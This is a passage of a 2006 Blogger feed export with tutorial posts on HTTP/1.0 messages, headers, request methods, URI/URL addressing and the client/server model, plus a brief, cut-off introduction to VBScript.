&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115735979780096866?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115735979780096866/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115735979780096866&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735979780096866'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735979780096866'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/combining-visual-basic-and-web.html' title='Combining Visual Basic and the Web'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115735965430604422</id><published>2006-09-04T15:47:00.000+07:00</published><updated>2006-09-05T12:02:37.260+07:00</updated><title type='text'>Portion of HTTP Messages</title><content type='html'>The bulk of response messages and a few types of request messages include an &lt;entity-body&gt; element and can also include an &lt;entity-header&gt; element. In a response message, the &lt;entity-body&gt; portion is the actual data resource that is being transferred. For instance, if the request message GET //myserver.com/home.html HTTP/1.0 is received by a server, the entity portion of the response message will be the file home.html located in the Web server's root directory.&lt;br/&gt;&lt;br/&gt;In a request message, the &lt;entity-body&gt; element is used for POSTing information to a Web server. This is used typically for submitting information entered into an HTML form by a human user or for queries being performed by some automated user-agent application.&lt;br/&gt;&lt;br/&gt;The remainder of this section discusses the &lt;entity-header&gt; element.&lt;br/&gt;&lt;br/&gt;Entity Header Fields&lt;br/&gt;The &lt;entity-header&gt; element's fields provide additional information about the &lt;entity-body&gt; or, if the &lt;entity-body&gt; is not present (as in the case of HEAD requests), about the resource requested. These headers are optional. If sent &lt;entity-header&gt; element fields are returned, they generally follow the &lt;response-header&gt; fields.&lt;br/&gt;&lt;br/&gt;The following line shows the format for the &lt;entity-header&gt; element:&lt;br/&gt;&lt;br/&gt;Entity-Header = Allow | Content-Encoding | Content-Length | Content-Type | &lt;br/&gt;Expires | Last-Modified | &lt;extension-header&gt;&lt;br/&gt;&lt;br/&gt;The &lt;extension-header&gt; element provides for the addition of new &lt;entity-header&gt; element fields without changing the entire protocol. However, if a user agent does not recognize an &lt;entity-header&gt; element field it is (and should be) ignored.&lt;br/&gt;&lt;br/&gt;Allow&lt;br/&gt;&lt;br/&gt;The Allow field is used to indicate which methods are supported by the resource requested in the request message. The format of the header field is&lt;br/&gt;Allow = "Allow:" 1#method&lt;br/&gt;&lt;br/&gt;An example is Allow: GET, HEAD. This header field is used to inform the user agent of which methods are valid for the resource being requested. However, it does not specify which methods are implemented by the server. Also, the use of this field does not prevent the user agent from attempting to perform other methods upon the resource. Nevertheless, it is good practice to follow the advice of this header field.&lt;br/&gt;&lt;br/&gt;Content-Type, Content-Encoding, and Content-Length&lt;br/&gt;&lt;br/&gt;These header fields indicate the type of resource being returned, how it is encoded, and the size of the &lt;entity-body&gt; being returned. The following lines show the respective formats for these headers:&lt;br/&gt;&lt;br/&gt;Content-Type = "Content-Type:" &lt;media-type&gt;&lt;br/&gt;Content-Encoding = "Content-Encoding:" &lt;content-coding&gt;&lt;br/&gt;Content-Length = "Content-Length:" 1*DIGIT&lt;br/&gt;&lt;br/&gt;The Content-Type header indicates the media type used for the &lt;entity-body&gt; element. It essentially documents the format of the entity being transferred. The typical HTML document is sent with a Content-Type of text/html. If the request method is HEAD, the Content-Type represents the media type that would be returned if the request is a GET.&lt;br/&gt;&lt;br/&gt;The Content-Type field can be used by the user agent to determine how to present the resource to the user. The content types are used by Web browsers when setting up helper applications that are external applications used to display specific file types (also known as media types). For instance, a Content-Type of audio/basic represents a sound file that the typical Web browser has to present to the user through an external application.&lt;br/&gt;&lt;br/&gt;The Content-Encoding field is a modifier to the Content-Type header and indicates whether and how a resource has been encoded before transmission. This is used when a resource has been compressed, for example. The user agent must use the encoding information in order to decode the data received before presenting it to the human user.&lt;br/&gt;&lt;br/&gt;The Content-Length indicates the size of the &lt;entity-body&gt; element. It is used in both request and response messages and is, in fact, required in request messages. The size is the number of octets sent to the recipient. If the message is a response to a HEAD request, the Content-Length field indicates the size that would have been returned by a response to a GET request on the same resource.&lt;br/&gt;&lt;br/&gt;Expires&lt;br/&gt;&lt;br/&gt;As the name of this header field indicates, the Expires entity header indicates the date after which the entity should be considered expired or invalid. This can be returned by applications that are generating real-time data, for example, to indicate the date (and time) after which the entity should be considered as old news. Caches should not retain the entity after the date specified.&lt;br/&gt;The presence of an Expires header does not mean that the resource will change or no longer exist after the value specified, but simply that it will be "stale" (to use the wording from the Internet-Draft). If the value specified is 0 or is an invalid HTTP date, the resource should be considered as immediately expired and should not be cached in any way.&lt;br/&gt;&lt;br/&gt;The format for the Expires header is&lt;br/&gt;&lt;br/&gt;    Expires = "Expires:" &lt;http-date&gt;&lt;br/&gt;Last-Modified&lt;br/&gt;&lt;br/&gt;The Last-Modified header field indicates the date that the server believes the resource was last changed. The value is interpreted differently depending on the nature of the resource being transferred. This header can be used to determine whether a new copy of a resource should be retrieved or if the user should be notified that the resource has been changed. For a file resource, it is most likely to be the date that the file was last saved. For a database resource, this field can be used to indicate the date a record was last updated. The possibilities are endless.&lt;br/&gt;&lt;br/&gt;The format for the Last-Modified header is&lt;br/&gt;Last-Modified = "Last-Modified:" &lt;http-date&gt;&lt;br/&gt;&lt;br/&gt;When you write server-side applications, it is important to think about how this field should be used if the resource is time-sensitive. If you're writing a user-agent application, take care when attempting to interpret this field's value. &lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115735965430604422?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115735965430604422/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115735965430604422&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735965430604422'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735965430604422'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/portion-of-http-messages.html' title='Portion of HTTP Messages'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115735957488940357</id><published>2006-09-04T15:44:00.000+07:00</published><updated>2006-09-04T15:46:14.896+07:00</updated><title type='text'>HTTP Request Messages</title><content type='html'>The HTTP Request message is the mechanism used to retrieve a data resource from a server. In order to maintain backward compatibility with the previous version of the HTTP protocol, the HTTP/1.0 protocol provides for both a full request (for HTTP/1.0) and a simple request (for HTTP/0.9) style of message. If an HTTP/1.0 server receives a simple request message, it must respond with an HTTP/0.9-compatible simple response message. Likewise, an HTTP/1.0 client should always generate a full request message.&lt;br/&gt;&lt;br/&gt;Request Methods&lt;br/&gt;&lt;br/&gt;As mentioned in the previous section, the syntax of the full-request message includes an element named &lt;method&gt;, which has the following rule:&lt;br/&gt;&lt;br/&gt;Method = "GET" | "HEAD" | "POST" | &lt;extension-method&gt;&lt;br/&gt;&lt;br/&gt;The &lt;method&gt; element indicates what operation should be performed on the data resource specified by the &lt;uri&gt; element. The acceptable methods for a given resource can change at any time. If a method is not allowed for a resource, the client receives notification of this in the &lt;status-code&gt; and &lt;reason-phrase&gt; elements of the response message.&lt;br/&gt;&lt;br/&gt;The following sections describe the named methods. The &lt;extension-method&gt; element allows for extensions to the HTTP/1.0 protocol. Both client and server must recognize these extended methods or the server will likely return a &lt;status-code&gt; of 501 (not implemented).&lt;br/&gt;&lt;br/&gt;The GET Method&lt;br/&gt;&lt;br/&gt;As perhaps the easiest method to understand, the GET method merely instructs the server to return to the client the resource indicated by the &lt;uri&gt; element of the request message. If the &lt;uri&gt; points to a server application, the server returns the data output by the application, not the application itself.&lt;br/&gt;&lt;br/&gt;Also, a Request-Header field named If-Modified-Since creates a conditional GET request. If the resource has been modified since the time value specified in the header, the resource is returned. If it has not been modified since that time, the server responds with a status code of 304 (not modified) and with no entity in the response message. This header field is used to perform client-side caching and to reduce network load.&lt;br/&gt;&lt;br/&gt;The HEAD Method&lt;br/&gt;&lt;br/&gt;The HEAD method is nearly identical to the GET method. The very important difference, however, is that the server must return only HTTP header information related to the resource. The resource (entity) itself must never be returned in response to a HEAD request.&lt;br/&gt;&lt;br/&gt;The HEAD method allows spiders and agents operating on the Web to retrieve only necessary header information about a particular resource. This can be useful when checking the validity of hypertext links or checking a resource to see whether it has been modified since a particular date.&lt;br/&gt;&lt;br/&gt;The POST Method&lt;br/&gt;&lt;br/&gt;The POST method is used when sending entity information to a server. For instance, POST is used when filling out an HTML form on a Web page. The Submit button on the form typically performs a POST request and appends the form's field values to the request message as the &lt;entity-body&gt; element.&lt;br/&gt;&lt;br/&gt;The POST method is usually performed on some type of application resource as opposed to a document resource. A successful POST request does not require the server to return an &lt;entity-body&gt; element in the response message. In some cases, the action may not produce a resource that can be identified by a URI. If no &lt;entity-body&gt; is returned, the server should indicate a &lt;status-code&gt; of 200 (okay) or 204 (no content). If the action does produce an &lt;entity-body&gt;, the &lt;status-code&gt; should return as 201 (created) and, of course, the &lt;entity-body&gt; should be transmitted to the client.&lt;br/&gt;&lt;br/&gt;An entity header field called Content-Length is required on all POST messages. If it is invalid or missing, the server returns a &lt;status-code&gt; or 400 (bad request).&lt;br/&gt;&lt;br/&gt;Request Message Header Fields&lt;br/&gt;&lt;br/&gt;The full-request message can contain any number of header fields that can be used to qualify the request or to provide information about the client making the request. The syntax for the request header is&lt;br/&gt;Request-Header = Authorization | From | If-Modified-Since | Referer | User-Agent&lt;br/&gt;&lt;br/&gt;Additional field names can be added only if all applications involved in a conversation recognize them as request header fields. Otherwise, unrecognized fields are considered Entity-Headers.&lt;br/&gt;&lt;br/&gt;Authorization&lt;br/&gt;&lt;br/&gt;The Authorization request-header field is used by user agents that wish to present some sort of credentials to the server. The format of the field is&lt;br/&gt;&lt;br/&gt;Authorization = "Authorization:" &lt;credentials&gt;&lt;br/&gt;&lt;br/&gt;More on authentication appears in the last section of this chapter.&lt;br/&gt;&lt;br/&gt;From&lt;br/&gt;&lt;br/&gt;The From request-header field is sent by a user agent that wishes to provide the e-mail address of the person who is at the helm. The address should be a valid mailbox and should be sent only with the user's express knowledge and permission. This field should always be used by Web robots and crawlers to provide the e-mail address of the person who started the robot. The format of the field is as follows:&lt;br/&gt;&lt;br/&gt;    From = "From:" &lt;mailbox&gt;&lt;br/&gt;If-Modified-Since&lt;br/&gt;&lt;br/&gt;As mentioned in the section titled "The GET Method," the If-Modified-Since header field is used to produce a conditional GET request. The field uses this format:&lt;br/&gt;&lt;br/&gt;If-Modified-Since = "If-Modified-Since:" &lt;http-date&gt;&lt;br/&gt;&lt;br/&gt;The resource is returned to the client only if the resource has been modified since the date specified in the &lt;http-date&gt; element. If the &lt;http-date&gt; element specifies an invalid date or if the date is later than the server's current date, the server essentially ignores the header field and returns the resource as though it is responding to a normal GET request.&lt;br/&gt;&lt;br/&gt;Referer&lt;br/&gt;The Referer header field specifies the URI of the resource from which the request message's &lt;uri&gt; element was obtained. This field must be sent only if the &lt;uri&gt; field has actually been obtained from a source that has an address. If a user has generated the &lt;uri&gt; element value (by typing in the address or selecting from a bookmark list, for example), this field must not be sent. It uses this format:&lt;br/&gt;Referer = "Referer:" &lt;referer-uri&gt;&lt;br/&gt;&lt;br/&gt;User-Agent&lt;br/&gt;User-Agent contains information about the user agent that generated the request message. This request-header field is useful to the server in logging server activity and also for creating responses that are specific for the given user agent. The field is not required but should be sent as a courtesy to the server, using this format:&lt;br/&gt;&lt;br/&gt;User-Agent = "User-Agent:" 1*( &lt;product&gt; | &lt;comment&gt;)&lt;br/&gt;&lt;br/&gt;The convention for the &lt;product&gt; element is to list the information in order of significance. Typically, this field's values include the product name of the user agent, the product version, and sometimes the operating system the user agent is running under. &lt;br/&gt;&lt;br/&gt; &lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115735957488940357?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115735957488940357/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115735957488940357&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735957488940357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735957488940357'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/http-request-messages.html' title='HTTP Request Messages'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115735946142117544</id><published>2006-09-04T15:43:00.000+07:00</published><updated>2006-09-04T15:44:21.423+07:00</updated><title type='text'>Addressing on the Web</title><content type='html'>As mentioned in the preceding section, HTTP is used to transfer data objects from a server machine to a client. In order to make this transfer happen, the two applications involved in the conversation must recognize a common addressing mechanism. This addressing mechanism must uniquely identify every data object available not only on the server application machine, but also on the entire network the applications are using for communication. The addressing scheme must also be familiar to programmers and publishers on the Web because addresses must be used both to gather and to publish information or services on the Web.&lt;br/&gt;&lt;br/&gt;The Web uses a form of address known as a Universal Resource Identifier (URI) to identify data objects on servers. The URI for an object is independent of which protocol is used to access the data. An object's URI also provides no real clue as to what type of data is being identified. However, most URIs include a filename extension (similar to the DOS filename extension) that can be used by the client application as a clue to how the object should be presented to the user. For example, a Web site dedicated to gardening may have a file named roses.htm, which is most likely an HTML document, and perhaps a file named roses.gif, which is probably a picture of roses.&lt;br/&gt;&lt;br/&gt;The more common form of a URI is known as a Universal Resource Locator (URL). This is typically what is specified when you see a list of Web pages. A URL is a URI that contains protocol information specifying how the data object should be retrieved from the server. The difference is subtle but important. Here are a few examples that should clear up any confusion you may have:&lt;br/&gt;&lt;br/&gt;    URI: //myserver.com/user1/default.htm&lt;br/&gt;&lt;br/&gt;    URL: http://myserver.com/user1/default.htm&lt;br/&gt;&lt;br/&gt;    URI: //ftp.myserver.com/demos/demo.zip&lt;br/&gt;&lt;br/&gt;    URL: ftp://ftp.myserver.com/demos/demo.zip &lt;br/&gt;&lt;br/&gt;The first two examples illustrate the crucial difference between a URI and a URL. The URL informs the machine at address myserver.com to retrieve a file named default.htm for its /user1 directory and return it to the client using the HTTP protocol. The URI merely defines the location of the file; whereas, the URL specifies how it should be retrieved.&lt;br/&gt;&lt;br/&gt;Similar to DOS, the URI can contain either absolute or relative addressing. For instance, if you are viewing (or creating) a Web-based document with a URI of //myserver.com/user1/default.htm, you can use the following addressing mechanisms within the document:&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;    * //myserver.com/home/file2.htm would specify an absolute path.&lt;br/&gt;&lt;br/&gt;    * file3.htm would specify a relative path equivalent to //myserver.com/user1/file3.htm.&lt;br/&gt;&lt;br/&gt;    * /file4.htm would specify a relative path equivalent to //myserver.com/file4.htm. &lt;br/&gt;&lt;br/&gt;Another similarity to DOS in specifying a URI is that the URI cannot contain any spaces and must encode certain reserved characters. If whitespace is required within a URI, you must encode the space as the string "%20". So, a directory named "My Documents" if used in a URI would appear as "My%20Documents". Similarly, there are several reserved characters that have special meanings within a URI. These are outlined in Table 2.2. These reserved characters, if actually meant to appear within a URI, must be encoded using the ISO Latin-1 character set.&lt;br/&gt;&lt;br/&gt;The http portion is used to indicate that the resource is to be retrieved using the HTTP proto-col. The &lt;host&gt; is the Internet hostname or IP address for the machine on which the resource resides. The port, which is a numeric value, is an optional parameter necessary if the server is not listening on TCP port 80 (which is the value assumed if &lt;port&gt; is not specified). The &lt;path&gt; portion is either an absolute path or relative path locating the resource within the server's file structure. If the &lt;path&gt; is not specified, the server should respond with a default HTML file. This method is typically used to access the site's home page. You can specify the &lt;path&gt;, however, if you know the exact URL for the resource you're interested in. The default file's location is typically set up in the server software's setup or configuration program. If the resource can be searched, the ?&lt;search_text&gt; portion can be provided to instruct the server on how the resource should be searched. This item is both server and resource specific. Later chapters address these searchable resources in-depth. &lt;br/&gt;&lt;br/&gt; &lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115735946142117544?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115735946142117544/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115735946142117544&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735946142117544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735946142117544'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/addressing-on-web.html' title='Addressing on the Web'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115735933737344033</id><published>2006-09-04T15:41:00.000+07:00</published><updated>2006-09-04T15:42:17.376+07:00</updated><title type='text'>HTTP as a Client/Server Protocol</title><content type='html'>As you can probably guess from Table 2.1, the HTTP protocol defines a client/server model. The difference between HTTP and typical client/server protocols, however, is that either role can be played by either computer involved in the conversation. The role a given computer plays during the conversation depends on the resource being accessed and possibly the HTML contained by the resource.&lt;br/&gt;&lt;br/&gt;Another very important difference is the fact that the HTTP is a stateless protocol. Users are not required to go through a logon process, which is typical of most client/server systems. In fact, the majority of HTTP data transfers are completely anonymous-beyond the machine address of the client, the server has no knowledge of who is retrieving data from it. In addition to the lack of user information, the HTTP protocol provides no mechanism for tracking how long a client may actually utilize information it has retrieved or for knowing what a client may have done before requesting a resource from the server.&lt;br/&gt;&lt;br/&gt;The typical HTTP conversation contains the following steps, which are illustrated in Figure 2.2.&lt;br/&gt;&lt;br/&gt;1. A client opens a connection with a server. Recall that any computer can act as a client, even if the computer is running a server application.&lt;br/&gt;   2. The client sends a request to the server. This request consists of a request method, a resource or service address, and possibly other header fields, and body content. These concepts are discussed in the following sections.&lt;br/&gt;   3. The server returns to the client a status line, possible header information, and (usually) an entity section.&lt;br/&gt;   4. The server closes the connection. &lt;br/&gt;&lt;br/&gt;There is always the possibility on the global Internet that a connection can fail at any time. The HTTP protocol provides that both the client and server applications must be prepared for such a situation. The loss of connection can occur due to user interaction, a communication time-out, or an application failure. A loss of connection is considered to terminate the client's current request. This means that, regardless of the state of the request when the termination occurs, the client must restart the entire process to properly attempt to access the resource again.&lt;br/&gt;&lt;br/&gt;In addition to this drawback, the HTTP protocol allows for only a single resource to be transferred during a connection. This means that if a hypertext page has embedded references to other resources (such as images), the client must retrieve each resource individually through separate connections. For example, to construct the Web page of Figure 2.1, the Web browser had to make three connections. One to retrieve the HTML file, another to retrieve the embedded Java applet, and a third to retrieve the Under Construction picture. This shortcoming of HTTP has often been blamed for the slow response time of the Web. &lt;br/&gt;&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115735933737344033?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115735933737344033/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115735933737344033&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735933737344033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735933737344033'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/http-as-clientserver-protocol.html' title='HTTP as a Client/Server Protocol'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115735917880043629</id><published>2006-09-04T15:39:00.001+07:00</published><updated>2006-09-05T12:04:41.550+07:00</updated><title type='text'>VBScript-VBA for the Web</title><content type='html'>Visual Basic Script, herein referred to as VBScript or VBS, is Microsoft's answer to Sun's JavaScript. Both are meant to be intertwined in HTML code; both are meant to expand on the client side functionality of the Web, and neither of the two are fully released products. (VBScript is in beta with MS-Internet Explorer 3.0. JavaScript was first implemented in Netscape 2.0.)&lt;br/&gt;&lt;br/&gt;    http://www.microsoft.com/vbscript&lt;br/&gt;The resource for information on Visual Basic Script is the Microsoft Web site (http://www.microsoft.com/vbscript). Here you can find complete documentation, some sample snippets of VBScript code, and links to sites using VBScript.&lt;br/&gt;Variables&lt;br/&gt;In most languages, variables are an important part of the language, its structure, and its implementation. In VBScript, the variables are all of the same type, Variant.&lt;br/&gt;The Variant type is an "all things to all people" generic data type. Assign it a string, and it acts as a string; assign it a number, and it acts like a number. The following lines are an example of declaring a Variant in VBScript:&lt;br/&gt;The SCRIPT LANGUAGE tag is a proposed addition to the HTML standard and is first implemented in the Microsoft Internet Explorer 3.0 It informs the browser that code, which must be interpreted, is coming and of what type it is. The usual as Variant, (like you would see in a regular Visual Basic program) is omitted because the Variant type is the only one available. Multiple variables per line are allowed-the procedure is to separate each by a comma. The Option Explicit keyword is implemented in Visual Basic Script, and if used, it should appear as the first statement after the&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115735917880043629?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115735917880043629/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115735917880043629&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735917880043629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735917880043629'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/vbscript-vba-for-web.html' title='VBScript-VBA for the Web'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 